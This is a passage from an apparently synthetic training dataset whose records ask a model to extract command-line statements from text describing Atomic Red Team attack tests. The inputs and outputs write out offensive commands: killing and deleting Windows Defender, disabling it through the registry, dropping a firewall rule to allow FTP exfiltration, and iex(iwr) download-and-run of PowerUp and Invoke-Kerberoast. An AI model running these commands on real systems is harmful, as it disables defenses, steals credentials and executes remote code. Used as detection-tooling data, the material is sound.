conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic test mimics WhisperGate campaign activity by executing AdvancedRun.exe with the following command, which stops Windows Defender and may remove its directory if specified: Try {cmd /c \"#{AdvancedRun_Location}\" /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\nif(#{delete_defender_folder}){\n  $CommandToRun = rmdir \"$env:programdata\\Microsoft\\Windows Defender\" -Recurse\n  Try {cmd /c \"#{AdvancedRun_Location}\" /EXEFilename \"$env:systemroot\\System32\\WindowsPowershell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"$CommandToRun\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n}",
    "output": "{\"command_list\": [\"Try {cmd /c \\\"#{AdvancedRun_Location}\\\" /EXEFilename \\\"$env:systemroot\\\\System32\\\\sc.exe\\\" /WindowState 0 /CommandLine \\\"stop WinDefend\\\" /StartDirectory \\\"\\\" /RunAs 8 /Run} Catch{}\\nif(#{delete_defender_folder}){\\n  $CommandToRun = rmdir \\\"$env:programdata\\\\Microsoft\\\\Windows Defender\\\" -Recurse\\n  Try {cmd /c \\\"#{AdvancedRun_Location}\\\" /EXEFilename \\\"$env:systemroot\\\\System32\\\\WindowsPowershell\\\\v1.0\\\\powershell.exe\\\" /WindowState 0 /CommandLine \\\"$CommandToRun\\\" /StartDirectory \\\"\\\" /RunAs 8 /Run} Catch{}\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the current logged user in PowerShell, run the following commands: [System.Environment]::UserName | Out-File -FilePath .\\CurrentactiveUser.txt \n$env:UserName | Out-File -FilePath .\\CurrentactiveUser.txt -Append\n",
    "output": "{\"command_list\": [\"[System.Environment]::UserName | Out-File -FilePath .\\\\CurrentactiveUser.txt \\n$env:UserName | Out-File -FilePath .\\\\CurrentactiveUser.txt -Append\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To eliminate the Zone.Identifier alternate data stream that marks files as internet downloads, use the following command: Unblock-File -Path #{file_path}\nThis provides greater flexibility when running PowerShell scripts and prevents files from opening in protected view.",
    "output": "{\"command_list\": [\"Unblock-File -Path #{file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To avoid detection while enabling FTP data exfiltration, adversaries might delete a specific iptables rule using the following command: iptables -D OUTPUT -p tcp --dport 21 -j DROP.",
    "output": "{\"command_list\": [\"iptables -D OUTPUT -p tcp --dport 21 -j DROP\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An example from the 2021 Threat Detection Report by Red Canary shows a suspicious command line execution via this command: %LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\n",
    "output": "{\"command_list\": [\"%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Kerberoasting without Mimikatz, use the Invoke-Kerberoast module via this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\nInvoke-Kerberoast | fl",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\\nInvoke-Kerberoast | fl\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent Windows Defender from starting after a reboot, use the following command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1. This will cause the Virus and Threat protection window to appear grayed out upon restart.",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" -Name DisableAntiSpyware -Value 1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 